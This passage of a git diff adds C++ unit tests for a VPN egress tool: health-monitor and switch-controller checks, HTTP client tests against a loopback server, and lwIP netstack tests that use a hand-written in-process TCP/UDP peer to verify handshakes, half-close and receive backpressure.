CHECK_EQ(f.unhealthy.size(), size_t(1)); + CHECK(f.unhealthy[0].find("fake-node") != std::string::npos); +} + +OVG_TEST(health_reports_once_per_degradation_not_once_per_round) { + Fixture f(2); + f.eg->connect_ec = make_error_code(Error::Timeout); + f.mon->start(); + + CHECK(f.rounds(9)); + // Nine bad rounds at a 2-window threshold. The counter resets on each report, + // so this is four or five reports -- not eight. If it did not reset, every + // round past the second would queue another switch request. + CHECK_GT(f.unhealthy.size(), size_t(1)); + CHECK(f.unhealthy.size() <= 5); +} + +OVG_TEST(health_recovery_clears_the_consecutive_counter) { + Fixture f(3); + f.eg->connect_ec = make_error_code(Error::Timeout); + f.mon->start(); + CHECK(f.rounds(2)); + CHECK_EQ(f.mon->consecutive_bad(), 2); + + f.eg->connect_ec = {}; + CHECK(f.more_rounds(2)); + CHECK(run_until(f.io, [&] { return f.mon->consecutive_bad() == 0; }, 2s)); + CHECK(f.unhealthy.empty()); +} + +OVG_TEST(health_keeps_a_bounded_history) { + Fixture f; + f.mon->start(); + CHECK(f.rounds(24, 5s)); + // kHistoryDepth is 20; ask for more and get what exists, never more. + CHECK_EQ(f.mon->recent(50).size(), size_t(20)); + CHECK_EQ(f.mon->recent(5).size(), size_t(5)); + // recent() is oldest-first, so the last element is the newest sample. + const auto r = f.mon->recent(5); + CHECK(r.front().age_ms >= r.back().age_ms); +} + +// --------------------------------------------------------------------------- +// Switch controller +// --------------------------------------------------------------------------- + +OVG_TEST(switch_controller_reports_why_the_manager_declined) { + asio::io_context io; + Config cfg; + cfg.egress_mode = "direct"; + cfg.health.interval = 1h; // no rounds of its own during this test + + egress::EgressManager mgr(io, cfg, nullptr, nullptr, nullptr); + health::HealthMonitor mon(io, cfg.health, + [&]() -> egress::EgressPtr { return nullptr; }); + health::SwitchController sw(io, cfg, mon, mgr); + + std::string detail; + const bool ok = sw.force_switch("test", &detail); + CHECK(!ok); + // The specific reason, not a guess. A direct-mode build reporting "a switch + // is already in progress" sends an operator looking for a switch that was + // never attempted. + CHECK(detail.find("direct") != std::string::npos); + CHECK(detail.find("no tunnel") != std::string::npos); + + const auto st = sw.stats(); + CHECK_EQ(st.manual, uint64_t(1)); + CHECK_EQ(st.requested, uint64_t(1)); + CHECK_EQ(st.declined, uint64_t(1)); + CHECK(st.last_trigger.find("manual") != std::string::npos); + + bool done = false; + mgr.shutdown([&] { done = true; }); + run_until(io, [&] { return done; }, 2s); +} + +OVG_TEST(switch_controller_forwards_a_sustained_unhealthy_verdict) { + asio::io_context io; + Config cfg; + cfg.egress_mode = "direct"; // every request is declined, but still counted + cfg.health.interval = 20ms; + cfg.health.unhealthy_windows = 2; + cfg.health.probe_timeout = 100ms; + + auto eg = std::make_shared(io); + eg->connect_ec = make_error_code(Error::Timeout); + + egress::EgressManager mgr(io, cfg, nullptr, nullptr, nullptr); + health::HealthMonitor mon(io, cfg.health, + [&]() -> egress::EgressPtr { return eg; }); + health::SwitchController sw(io, cfg, mon, mgr); + + sw.start(); // must subscribe before the monitor runs, or a verdict is lost + mon.start(); + + CHECK(run_until(io, [&] { return sw.stats().unhealthy > 0; }, 3s)); + const auto st = sw.stats(); + CHECK_GT(st.requested, uint64_t(0)); + CHECK_EQ(st.tunnel_down + st.opportunistic, uint64_t(0)); + CHECK(st.last_trigger.find("unhealthy") != std::string::npos); + + mon.stop(); + sw.stop(); + bool done = false; + mgr.shutdown([&] { done = true; }); + run_until(io, [&] { return done; }, 2s); +} diff --git a/tests/test_http_get.cpp b/tests/test_http_get.cpp new file mode 100644 index 0000000..ed14459 --- /dev/null +++ b/tests/test_http_get.cpp @@ -0,0 +1,260 @@ +// The HTTP client is exercised against a throwaway loopback server rather than +// the real VPNGate endpoint: the tests must pass on a machine with no network, +// and the interesting cases (chunked encoding, redirect loops, byte caps) are +// hard to provoke against a live server anyway. +#include + +#include +#include +#include + +#include "common/http_get.h" +#include "harness.h" + +using namespace ovg; + +namespace { + +// Serves one canned response per connection, then closes. +class TinyServer { + public: + TinyServer(asio::io_context &io, std::string response) + : acceptor_(io, asio::ip::tcp::endpoint( + asio::ip::make_address("127.0.0.1"), 0)), + response_(std::move(response)) { + acceptor_.listen(); + accept(); + } + + uint16_t port() const { return acceptor_.local_endpoint().port(); } + std::string url(const std::string &path = "/") const { + return "http://127.0.0.1:" + std::to_string(port()) + path; + } + int connections() const { return connections_; } + void stop() { + std::error_code ec; + acceptor_.close(ec); + } + + // Second response, used for redirect targets. + void set_next(std::string r) { next_ = std::move(r); } + + private: + void accept() { + auto sock = std::make_shared(acceptor_.get_executor()); + acceptor_.async_accept(*sock, [this, sock](std::error_code ec) { + if (ec) return; + ++connections_; + auto body = std::make_shared( + (connections_ > 1 && !next_.empty()) ? next_ : response_); + // Read (and discard) the request line before answering; some clients get + // upset if the response arrives before they finish writing. + auto buf = std::make_shared(); + asio::async_read_until( + *sock, *buf, "\r\n\r\n", + [sock, body, buf](std::error_code, size_t) { + asio::async_write(*sock, asio::buffer(*body), + [sock, body](std::error_code, size_t) { + std::error_code ig; + sock->shutdown( + asio::ip::tcp::socket::shutdown_both, ig); + sock->close(ig); + }); + }); + accept(); + }); + } + + asio::ip::tcp::acceptor acceptor_; + std::string response_; + std::string next_; + int connections_ = 0; +}; + +} // namespace + +OVG_TEST(ParseUrlForms) { + http::Url u; + CHECK(http::parse_url("http://www.vpngate.net/api/iphone/", &u)); + CHECK_EQ(u.scheme, std::string("http")); + CHECK_EQ(u.host, std::string("www.vpngate.net")); + CHECK_EQ(u.port, std::string("80")); + CHECK_EQ(u.target, std::string("/api/iphone/")); + + CHECK(http::parse_url("https://example.com", &u)); + CHECK_EQ(u.port, std::string("443")); + CHECK_EQ(u.target, std::string("/")); + + CHECK(http::parse_url("http://example.com:8080/x?y=1", &u)); + CHECK_EQ(u.port, std::string("8080")); + CHECK_EQ(u.target, std::string("/x?y=1")); + + CHECK(!http::parse_url("ftp://example.com/", &u)); + CHECK(!http::parse_url("example.com", &u)); + CHECK(!http::parse_url("", &u)); +} + +OVG_TEST(HttpGetContentLengthBody) { + asio::io_context io; + TinyServer srv(io, + "HTTP/1.1 200 OK\r\n" + "Content-Length: 11\r\n" + "Content-Type: text/plain\r\n\r\n" + "hello world"); + + std::error_code got_ec; + http::Response got; + http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) { + got_ec = ec; + got = std::move(r); + srv.stop(); + }); + io.run(); + + CHECK(!got_ec); + CHECK_EQ(got.status, 200); + CHECK_EQ(got.body, std::string("hello world")); +} + +OVG_TEST(HttpGetChunkedBody) { + asio::io_context io; + TinyServer srv(io, + "HTTP/1.1 200 OK\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "5\r\nhello\r\n" + "1\r\n \r\n" + "5\r\nworld\r\n" + "0\r\n\r\n"); + + std::error_code got_ec; + http::Response got; + http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) { + got_ec = ec; + got = std::move(r); + srv.stop(); + }); + io.run(); + + CHECK(!got_ec); + CHECK_EQ(got.body, std::string("hello world")); +} + +OVG_TEST(HttpGetEofTerminatedBody) { + // HTTP/1.0-style: no Content-Length, no chunking, body ends at close. The + // VPNGate endpoint has been observed doing exactly this. + asio::io_context io; + TinyServer srv(io, "HTTP/1.1 200 OK\r\n\r\nbody-until-eof"); + + std::error_code got_ec; + http::Response got; + http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) { + got_ec = ec; + got = std::move(r); + srv.stop(); + }); + io.run(); + + CHECK(!got_ec); + CHECK_EQ(got.body, std::string("body-until-eof")); +} + +OVG_TEST(HttpGetFollowsRedirect) { + asio::io_context io; + TinyServer target(io, "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nok"); + TinyServer front(io, "HTTP/1.1 302 Found\r\nLocation: " + target.url() + + "\r\nContent-Length: 0\r\n\r\n"); + + std::error_code got_ec; + http::Response got; + http::async_get(io, front.url(), {}, + [&](std::error_code ec, http::Response r) { + got_ec = ec; + got = std::move(r); + front.stop(); + target.stop(); + }); + io.run(); + + CHECK(!got_ec); + CHECK_EQ(got.status, 200); + CHECK_EQ(got.body, std::string("ok")); +} + +OVG_TEST(HttpGetEnforcesByteCap) { + asio::io_context io; + std::string big(64 * 1024, 'x'); + TinyServer srv(io, "HTTP/1.1 200 OK\r\nContent-Length: " + + std::to_string(big.size()) + "\r\n\r\n" + big); + + http::Options opts; + opts.max_bytes = 1024; + + std::error_code got_ec; + http::async_get(io, srv.url(), opts, + [&](std::error_code ec, http::Response) { + got_ec = ec; + srv.stop(); + }); + io.run(); + + // Must fail rather than buffer 64 KB when told 1 KB is the limit. + CHECK(static_cast(got_ec)); +} + +OVG_TEST(HttpGetReportsNonOkStatus) { + asio::io_context io; + TinyServer srv(io, "HTTP/1.1 503 Service Unavailable\r\n" + "Content-Length: 3\r\n\r\nnah"); + + std::error_code got_ec; + http::Response got; + http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) { + got_ec = ec; + got = std::move(r); + srv.stop(); + }); + io.run(); + + CHECK(static_cast(got_ec)); + CHECK_EQ(got.status, 503); +} + +OVG_TEST(HttpGetTimesOut) { + asio::io_context io; + // Accept but never answer. + asio::ip::tcp::acceptor acc( + io, asio::ip::tcp::endpoint(asio::ip::make_address("127.0.0.1"), 0)); + acc.listen(); + auto held = std::make_shared(io); + acc.async_accept(*held, [held](std::error_code) {}); + + http::Options opts; + opts.timeout = std::chrono::milliseconds(200); + + std::error_code got_ec; + http::async_get(io, + "http://127.0.0.1:" + std::to_string(acc.local_endpoint().port()), + opts, [&](std::error_code ec, http::Response) { + got_ec = ec; + std::error_code ig; + acc.close(ig); + held->close(ig); + }); + io.run(); + + CHECK(static_cast(got_ec)); +} + +OVG_TEST(HttpGetFailsOnRefusedConnection) { + asio::io_context io; + std::error_code got_ec; + bool called = false; + http::async_get(io, "http://127.0.0.1:1/", {}, + [&](std::error_code ec, http::Response) { + called = true; + got_ec = ec; + }); + io.run(); + CHECK(called); + CHECK(static_cast(got_ec)); +} diff --git a/tests/test_netstack.cpp b/tests/test_netstack.cpp new file mode 100644 index 0000000..057b9e6 --- /dev/null +++ b/tests/test_netstack.cpp @@ -0,0 +1,1131 @@ +// Netstack tests. +// +// The interesting part here is that the whole TCP path is exercised without a +// VPN, without root and without a network: a PacketLink that loops back into a +// hand-written TCP peer. The peer speaks just enough of RFC 793 to complete a +// handshake, carry data both ways and close -- which is exactly the surface +// LwipTcpStream sits on. That makes connect, half-close, EOF and the receive +// backpressure testable in-process, months before a real tunnel is involved. +// +// It also pins down the address-collision limitation documented in +// netstack/lwip_stack.h, because a limitation nobody tests is a limitation that +// quietly stops holding. +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "common/error.h" +#include "harness.h" +#include "netstack/dns_resolver.h" +#include "netstack/lwip_stack.h" +#include "netstack/packet_link.h" + +namespace { + +using namespace ovg; +using namespace ovg::netstack; +using Clock = std::chrono::steady_clock; + +// --------------------------------------------------------------------------- +// Loopback link +// --------------------------------------------------------------------------- + +class LoopbackLink final : public PacketLink { + public: + // Invoked (on the stack's strand, from inside lwIP's output path) for every + // packet the stack transmits. Must not call back into lwIP. + std::function &)> on_tx; + + bool send_packet(const void *data, size_t len) override { + const auto *p = static_cast(data); + std::vector pkt(p, p + len); + ++tx_packets; + if (on_tx) on_tx(pkt); + return true; + } + + void async_receive(asio::mutable_buffer buf, const asio::any_io_executor &ex, + RecvHandler h) override { + buf_ = buf; + ex_ = ex; + h_ = std::move(h); + flush(); + } + + void cancel() override { + if (h_) { + auto h = std::move(h_); + h_ = nullptr; + asio::post(ex_, [h = std::move(h)] { + h(asio::error::operation_aborted, 0); + }); + } + } + + bool is_open() const override { return open_; } + size_t max_packet_size() const override { return 2048; } + + // Hands a packet to the stack. + void inject(std::vector pkt) { + inbox_.push_back(std::move(pkt)); + flush(); + } + + void close() { + open_ = false; + cancel(); + } + + size_t tx_packets = 0; + + private: + void flush() { + if (!h_ || inbox_.empty()) return; + std::vector pkt = std::move(inbox_.front()); + inbox_.erase(inbox_.begin()); + const size_t n = std::min(pkt.size(), buf_.size()); + std::memcpy(buf_.data(), pkt.data(), n); + auto h = std::move(h_); + h_ = nullptr; + asio::post(ex_, [h = std::move(h), n] { h(std::error_code{}, n); }); + } + + asio::mutable_buffer buf_; + asio::any_io_executor ex_; + RecvHandler h_; + std::vector> inbox_; + bool open_ = true; +}; + +// --------------------------------------------------------------------------- +// A minimal TCP peer +// --------------------------------------------------------------------------- + +constexpr uint8_t kFin = 0x01; +constexpr uint8_t kSyn = 0x02; +constexpr uint8_t kRst = 0x04; +constexpr uint8_t kPsh = 0x08; +constexpr uint8_t kAck = 0x10; + +uint16_t csum16(const uint8_t *d, size_t n, uint32_t init) { + uint32_t sum = init; + size_t i = 0; + for (; i + 1 < n; i += 2) sum += (uint32_t(d[i]) << 8) | d[i + 1]; + if (i < n) sum += uint32_t(d[i]) << 8; + while (sum >> 16) sum = (sum & 0xFFFF) + (sum >> 16); + return static_cast(~sum); +} + +void put16(std::vector &v, size_t at, uint16_t x) { + v[at] = static_cast(x >> 8); + v[at + 1] = static_cast(x & 0xFF); +} +void put32(std::vector &v, size_t at, uint32_t x) { + v[at] = static_cast(x >> 24); + v[at + 1] = static_cast(x >> 16); + v[at + 2] = static_cast(x >> 8); + v[at + 3] = static_cast(x); +} +uint16_t get16(const uint8_t *d) { return uint16_t((d[0] << 8) | d[1]); } +uint32_t get32(const uint8_t *d) { + return (uint32_t(d[0]) << 24) | (uint32_t(d[1]) << 16) | + (uint32_t(d[2]) << 8) | uint32_t(d[3]); +} + +struct Segment { + uint32_t src = 0, dst = 0; + uint16_t sport = 0, dport = 0; + uint32_t seq = 0, ack = 0; + uint8_t flags = 0; + uint16_t window = 0; + std::vector payload; +}; + +bool parse_segment(const std::vector &pkt, Segment *s) { + if (pkt.size() < 20 || (pkt[0] >> 4) != 4) return false; + const size_t ihl = (pkt[0] & 0x0F) * 4u; + if (ihl < 20 || pkt.size() < ihl + 20) return false; + if (pkt[9] != 6) return false; // not TCP + s->src = get32(&pkt[12]); + s->dst = get32(&pkt[16]); + + const uint8_t *t = &pkt[ihl]; + const size_t doff = (t[12] >> 4) * 4u; + if (doff < 20 || ihl + doff > pkt.size()) return false; + s->sport = get16(t); + s->dport = get16(t + 2); + s->seq = get32(t + 4); + s->ack = get32(t + 8); + s->flags = t[13]; + // Unscaled: our SYN-ACK carries no window-scale option, so RFC 7323 leaves + // scaling off for both directions no matter what lwIP offered in its SYN. + s->window = get16(t + 14); + + const size_t total = get16(&pkt[2]); + const size_t end = std::min(total, pkt.size()); + if (end > ihl + doff) { + s->payload.assign(pkt.begin() + static_cast(ihl + doff), + pkt.begin() + static_cast(end)); + } else { + s->payload.clear(); + } + return true; +} + +std::vector build_segment(uint32_t src, uint32_t dst, uint16_t sport, + uint16_t dport, uint32_t seq, uint32_t ack, + uint8_t flags, const uint8_t *data, + size_t dlen, bool with_mss) { + const size_t opt = with_mss ? 4 : 0; + const size_t tcp_len = 20 + opt + dlen; + std::vector p(20 + tcp_len, 0); + + p[0] = 0x45; + put16(p, 2, static_cast(p.size())); + put16(p, 4, 0x4242); + p[8] = 64; + p[9] = 6; + put32(p, 12, src); + put32(p, 16, dst); + put16(p, 10, csum16(p.data(), 20, 0)); + + const size_t t = 20; + put16(p, t + 0, sport); + put16(p, t + 2, dport); + put32(p, t + 4, seq); + put32(p, t + 8, ack); + p[t + 12] = static_cast(((20 + opt) / 4) << 4); + p[t + 13] = flags; + put16(p, t + 14, 32768); // window + if (with_mss) { + p[t + 20] = 2; + p[t + 21] = 4; + put16(p, t + 22, 1360); + } + if (dlen > 0) std::memcpy(&p[t + 20 + opt], data, dlen); + + // TCP checksum over the pseudo-header + segment. + uint32_t pseudo = 0; + pseudo += (src >> 16) & 0xFFFF; + pseudo += src & 0xFFFF; + pseudo += (dst >> 16) & 0xFFFF; + pseudo += dst & 0xFFFF; + pseudo += 6; + pseudo += static_cast(tcp_len); + put16(p, t + 16, csum16(p.data() + t, tcp_len, pseudo)); + return p; +} + +// Enough of a TCP endpoint to be the far side of one connection. +struct TcpPeer { + LoopbackLink *link = nullptr; + bool echo = true; + bool refuse = false; // answer the SYN with RST + + uint32_t my_seq = 700000; + uint32_t their_seq = 0; + uint32_t my_ip = 0, their_ip = 0; + uint16_t my_port = 0, their_port = 0; + + bool saw_syn = false; + bool established = false; + bool saw_fin = false; + bool saw_rst = false; + std::vector received; + + // Outbound bytes waiting on the receive window. Everything the peer sends + // goes through here rather than straight onto the link, because a peer that + // ignores the advertised window would paper over exactly the backpressure + // this stack is supposed to apply. + std::vector outbox; + size_t outbox_sent = 0; + uint16_t their_win = 0; + uint32_t last_ack = 0; + bool have_ack = false; + + void send(uint8_t flags, const uint8_t *data = nullptr, size_t len = 0, + bool mss = false) { + link->inject(build_segment(my_ip, their_ip, my_port, their_port, my_seq, + their_seq, flags, data, len, mss)); + my_seq += static_cast(len); + if (flags & (kSyn | kFin)) my_seq += 1; + } + + void queue(const uint8_t *data, size_t len) { + outbox.insert(outbox.end(), data, data + len); + } + + void pump() { + if (!established || !have_ack) return; + while (outbox_sent < outbox.size()) { + // Unsigned arithmetic, so this stays right across a sequence wrap. + const uint32_t in_flight = my_seq - last_ack; + if (in_flight >= their_win) break; + const size_t room = their_win - in_flight; + const size_t chunk = + std::min({outbox.size() - outbox_sent, room, size_t{1360}}); + if (chunk == 0) break; + send(kPsh | kAck, outbox.data() + outbox_sent, chunk); + outbox_sent += chunk; + } + } + + void on_tx(const std::vector &pkt) { + Segment s; + if (!parse_segment(pkt, &s)) return; + + if (s.flags & kRst) { + saw_rst = true; + return; + } + + if ((s.flags & kSyn) && !(s.flags & kAck)) { + saw_syn = true; + my_ip = s.dst; + their_ip = s.src; + my_port = s.dport; + their_port = s.sport; + their_seq = s.seq + 1; + if (refuse) { + // RST carrying the ACK of the SYN: what a closed port answers. + link->inject(build_segment(my_ip, their_ip, my_port, their_port, 0, + their_seq, kRst | kAck, nullptr, 0, false)); + return; + } + send(kSyn | kAck, nullptr, 0, /*mss=*/true); + established = true; + return; + } + + if (s.flags & kAck) { + last_ack = s.ack; + have_ack = true; + } + their_win = s.window; + + if (!s.payload.empty()) { + received.insert(received.end(), s.payload.begin(), s.payload.end()); + their_seq = s.seq + static_cast(s.payload.size()); + send(kAck); + if (echo) queue(s.payload.data(), s.payload.size()); + } + + if (s.flags & kFin) { + saw_fin = true; + their_seq = s.seq + static_cast(s.payload.size()) + 1; + send(kAck); + send(kFin | kAck); + return; + } + + pump(); + } +}; + +// --------------------------------------------------------------------------- +// A minimal UDP peer: echoes every datagram back to its sender. +// --------------------------------------------------------------------------- + +struct UdpPeer { + LoopbackLink *link = nullptr; + std::vector> received; + + void on_tx(const std::vector &pkt) { + if (pkt.size() < 20 || (pkt[0] >> 4) != 4) return; + const size_t ihl = (pkt[0] & 0x0F) * 4u; + if (pkt[9] != 17 || pkt.size() < ihl + 8) return; // not UDP + + const uint32_t src = get32(&pkt[12]); + const uint32_t dst = get32(&pkt[16]); + const uint8_t *u = &pkt[ihl]; + const uint16_t sport = get16(u); + const uint16_t dport = get16(u + 2); + const size_t ulen = get16(u + 4); + if (ulen < 8 || ihl + ulen > pkt.size()) return; + + std::vector payload(u + 8, u + ulen); + received.push_back(payload); + + // Straight back the way it came. + const size_t tot = 8 + payload.size(); + std::vector p(20 + tot, 0); + p[0] = 0x45; + put16(p, 2, static_cast(p.size())); + p[8] = 64; + p[9] = 17; + put32(p, 12, dst); + put32(p, 16, src); + put16(p, 10, csum16(p.data(), 20, 0)); + + put16(p, 20 + 0, dport); + put16(p, 20 + 2, sport); + put16(p, 20 + 4, static_cast(tot)); + if (!payload.empty()) { + std::memcpy(&p[28], payload.data(), payload.size()); + } + uint32_t pseudo = ((dst >> 16) & 0xFFFF) + (dst & 0xFFFF) + + ((src >> 16) & 0xFFFF) + (src & 0xFFFF) + 17u + + static_cast(tot); + uint16_t ck = csum16(p.data() + 20, tot, pseudo); + // A zero checksum means "not computed" on the wire, so the all-ones form is + // the one that must be sent (RFC 768). + if (ck == 0) ck = 0xFFFF; + put16(p, 20 + 6, ck); + + link->inject(std::move(p)); + } +}; + +// --------------------------------------------------------------------------- +// Fixture +// --------------------------------------------------------------------------- + +NetifConfig test_cfg(const char *addr, const char *label) { + NetifConfig c; + c.address = *IpAddress::parse(addr); + c.prefix = 24; + c.gateway = *IpAddress::parse("10.0.0.1"); + c.mtu = 1500; + c.label = label; + return c; +} + +// Everything a netstack test needs, in the one declaration order that is safe, +// draining on the way out. +// +// Both halves of that matter, and neither is obvious. A Netif is destroyed from +// a handler posted to the strand (StrandDeleter), not where the last reference +// is dropped -- and ~Netif calls back into both the PacketLink and the Stack. So +// `link` is declared before `io`, because destroying the io_context is what +// finally runs those handlers; and the destructor drains while every member is +// still alive, rather than leaving it to unwinding order. +// +// Doing this here instead of at the end of each test body is what makes a +// failed CHECK report a failure: the exception unwinds through ~Fixture, which +// still tears down correctly, rather than aborting the process on a call into a +// half-destroyed object. +struct Fixture { + // A deque so that references stay valid as more are added, and declared first + // so they outlive `io` -- see above. + std::deque links; + asio::io_context io; + Stack stack{io}; + + // Registered so the destructor can close them in dependency order. Tests hold + // their own references too; these are just the handles teardown needs. + std::vector> netifs; + std::vector streams; + std::vector socks; + + Fixture() { links.emplace_back(); } + + LoopbackLink &link() { return links.front(); } + LoopbackLink &new_link() { return links.emplace_back(); } + + ~Fixture() { + for (auto &s : streams) { + if (s) s->close(); + } + for (auto &s : socks) { + if (s) s->close(); + } + settle(); + streams.clear(); + socks.clear(); + settle(); + + for (auto &n : netifs) { + if (n) n->shutdown(); + } + settle(); + netifs.clear(); + settle(); + } + + // Runs the io_context for a fixed slice. The Stack's timer re-arms forever, + // so there is no "until idle" to wait for -- only "long enough". + void settle(std::chrono::milliseconds d = std::chrono::milliseconds(30)) { + const auto deadline = Clock::now() + d; + while (Clock::now() < deadline) { + io.restart(); + io.run_for(std::chrono::milliseconds(2)); + } + } + + bool run_until(const std::function &pred, + std::chrono::milliseconds budget) { + const auto deadline = Clock::now() + budget; + while (!pred() && Clock::now() < deadline) { + io.restart(); + io.run_for(std::chrono::milliseconds(2)); + } + return pred(); + } + + std::shared_ptr attach(const NetifConfig &cfg, + std::error_code *ec_out = nullptr) { + return attach_on(link(), cfg, ec_out); + } + + std::shared_ptr attach_on(LoopbackLink &l, const NetifConfig &cfg, + std::error_code *ec_out = nullptr) { + std::shared_ptr netif; + std::error_code ec; + bool done = false; + stack.async_attach(l, cfg, io.get_executor(), + [&](const std::error_code &e, std::shared_ptr n) { + ec = e; + netif = std::move(n); + done = true; + }); + run_until([&] { return done; }, std::chrono::milliseconds(500)); + if (ec_out) *ec_out = ec; + if (netif) netifs.push_back(netif); + return netif; + } + + TcpStreamPtr connect(const std::shared_ptr &netif, const char *addr, + uint16_t port, Millis timeout, + std::error_code *ec_out = nullptr) { + TcpStreamPtr stream; + std::error_code ec; + bool done = false; + netif->async_connect_tcp(*IpAddress::parse(addr), port, timeout, + io.get_executor(), + [&](const std::error_code &e, TcpStreamPtr s) { + ec = e; + stream = std::move(s); + done = true; + }); + run_until([&] { return done; }, std::chrono::seconds(5)); + if (ec_out) *ec_out = ec; + if (stream) streams.push_back(stream); + return stream; + } + + UdpSocketPtr open_udp(const std::shared_ptr &netif, + std::error_code *ec_out = nullptr) { + UdpSocketPtr sock; + std::error_code ec; + bool done = false; + netif->async_open_udp(io.get_executor(), + [&](const std::error_code &e, UdpSocketPtr s) { + ec = e; + sock = std::move(s); + done = true; + }); + run_until([&] { return done; }, std::chrono::milliseconds(500)); + if (ec_out) *ec_out = ec; + if (sock) socks.push_back(sock); + return sock; + } +}; + +} // namespace + +// --------------------------------------------------------------------------- +// Tests +// --------------------------------------------------------------------------- + +OVG_TEST(netstack_attach_and_teardown) { + Fixture fx; + + auto netif = fx.attach(test_cfg("10.0.0.2", "node-a")); + CHECK(netif != nullptr); + CHECK(netif->is_up()); + CHECK_EQ(netif->address().to_string(), std::string("10.0.0.2")); + CHECK_EQ(fx.stack.global_stats().netifs, size_t{1}); + + netif->shutdown(); + fx.settle(); + CHECK(!netif->is_up()); + CHECK_EQ(fx.stack.global_stats().netifs, size_t{0}); +} + +OVG_TEST(netstack_rejects_a_second_stack) { + Fixture fx; + bool threw = false; + try { + Stack second(fx.io); + } catch (const std::logic_error &) { + threw = true; + } + CHECK(threw); +} + +// The documented make-before-break limitation: two nodes that push the same +// address cannot both be live, because lwIP attributes inbound packets by +// destination address and could not tell them apart. +OVG_TEST(netstack_rejects_a_colliding_address) { + Fixture fx; + LoopbackLink &link_b = fx.new_link(); + + auto a = fx.attach(test_cfg("10.0.0.2", "node-a")); + CHECK(a != nullptr); + + std::error_code ec; + auto b = fx.attach_on(link_b, test_cfg("10.0.0.2", "node-b"), &ec); + CHECK(b == nullptr); + CHECK_EQ(ec, make_error_code(Error::ResourceExhausted)); + + // A different address on the same stack is fine -- that is the case + // make-before-break actually relies on. + auto c = fx.attach_on(link_b, test_cfg("10.9.0.2", "node-c")); + CHECK(c != nullptr); + CHECK_EQ(fx.stack.global_stats().netifs, size_t{2}); +} + +OVG_TEST(netstack_tcp_connect_echo_and_half_close) { + Fixture fx; + TcpPeer peer; + peer.link = &fx.link(); + fx.link().on_tx = [&](const std::vector &p) { peer.on_tx(p); }; + + auto netif = fx.attach(test_cfg("10.0.0.2", "node-a")); + CHECK(netif != nullptr); + + // --- connect --- + std::error_code connect_ec; + auto stream = + fx.connect(netif, "93.184.216.34", 80, Millis{3000}, &connect_ec); + CHECK_EQ(connect_ec, std::error_code{}); + CHECK(stream != nullptr); + CHECK(stream->is_open()); + CHECK(peer.saw_syn); + CHECK_EQ(stream->remote_endpoint().to_string(), + std::string("93.184.216.34:80")); + // The source address comes from the netif, which is what proves the PCB was + // pinned rather than routed through whatever netif happened to be default. + CHECK_EQ(stream->local_endpoint().address().to_string(), + std::string("10.0.0.2")); + + // --- write, and read the echo back --- + const std::string msg = "GET / HTTP/1.0\r\n\r\n"; + std::error_code write_ec; + size_t written = 0; + bool wrote = false; + stream->async_write(asio::buffer(msg), + [&](const std::error_code &ec, size_t n) { + write_ec = ec; + written = n; + wrote = true; + }); + CHECK(fx.run_until([&] { return wrote; }, std::chrono::seconds(3))); + CHECK_EQ(write_ec, std::error_code{}); + CHECK_EQ(written, msg.size()); + CHECK(fx.run_until([&] { return peer.received.size() >= msg.size(); }, + std::chrono::seconds(3))); + CHECK_EQ(std::string(peer.received.begin(), peer.received.end()), msg); + + std::vector rbuf(256); + std::error_code read_ec; + size_t got = 0; + bool read_done = false; + stream->async_read_some(asio::buffer(rbuf), + [&](const std::error_code &ec, size_t n) { + read_ec = ec; + got = n; + read_done = true; + }); + CHECK(fx.run_until([&] { return read_done; }, std::chrono::seconds(3))); + CHECK_EQ(read_ec, std::error_code{}); + CHECK_EQ(std::string(rbuf.data(), got), msg); + CHECK_EQ(stream->bytes_written(), uint64_t{msg.size()}); + CHECK_GT(stream->bytes_read(), uint64_t{0}); + + // --- half close: our FIN must reach the peer, and its FIN must surface as + // EOF rather than as an error --- + stream->shutdown_send(); + CHECK(fx.run_until([&] { return peer.saw_fin; }, std::chrono::seconds(3))); + + bool eof_done = false; + std::error_code eof_ec; + stream->async_read_some(asio::buffer(rbuf), + [&](const std::error_code &ec, size_t n) { + eof_ec = ec; + (void)n; + eof_done = true; + }); + CHECK(fx.run_until([&] { return eof_done; }, std::chrono::seconds(3))); + CHECK_EQ(eof_ec, std::error_code(asio::error::eof)); + + const auto s = netif->stats(); + CHECK_EQ(s.tcp_opened, uint64_t{1}); + CHECK_EQ(s.tcp_failed, uint64_t{0}); + CHECK_GT(s.tx_packets, uint64_t{0}); + CHECK_GT(s.rx_packets, uint64_t{0}); +} + +// The point of the explicit-backpressure design: lwIP's window must stay closed +// until the consumer actually takes the bytes, and must reopen by exactly what +// was taken. A peer that respects the advertised window can only push the whole +// transfer through if that loop works -- and the transfer here is twice TCP_WND, +// so it cannot complete on the initial window alone. +OVG_TEST(netstack_tcp_receive_backpressure) { + Fixture fx; + TcpPeer peer; + peer.link = &fx.link(); + peer.echo = false; + fx.link().on_tx = [&](const std::vector &p) { peer.on_tx(p); }; + + auto netif = fx.attach(test_cfg("10.0.0.2", "node-a")); + CHECK(netif != nullptr); + + auto stream = fx.connect(netif, "93.184.216.34", 80, Millis{3000}); + CHECK(stream != nullptr); + + constexpr size_t kTotal = 128 * 1024; // 2x TCP_WND + std::vector payload(kTotal); + for (size_t i = 0; i < kTotal; ++i) { + payload[i] = static_cast((i * 31 + (i >> 8)) & 0xFF); + } + peer.queue(payload.data(), payload.size()); + peer.pump(); + + // Phase 1: no reader. The whole 128 KB is queued and the peer is willing to + // send all of it, so the only thing that can stop it is lwIP's window + // closing -- which it can only do because nothing calls tcp_recved() until + // the consumer takes the bytes. Without that, this would run to completion. + // + // The bound is two-sided on purpose. Above: a stack that never opened the + // window at all would also "stall", so the peer has to get most of a window + // through before it stops. Below: 65535 is what a 16-bit window field can + // advertise once the peer's SYN-ACK omits the scale option (RFC 7323 needs it + // on both SYNs), so a byte past that means tcp_recved() ran without a reader. + fx.settle(std::chrono::milliseconds(150)); + CHECK_GT(peer.outbox_sent, size_t{48 * 1024}); + CHECK(peer.outbox_sent <= 65535); + + // Phase 2: small reads on purpose. The window has to reopen incrementally, + // and a pbuf gets consumed across several reads (the queue_offset_ path). + std::vector got; + got.reserve(kTotal); + std::vector rbuf(4096); + std::error_code read_ec; + bool failed = false; + + std::function read_more = [&] { + stream->async_read_some(asio::buffer(rbuf), + [&](const std::error_code &ec, size_t n) { + if (ec) { 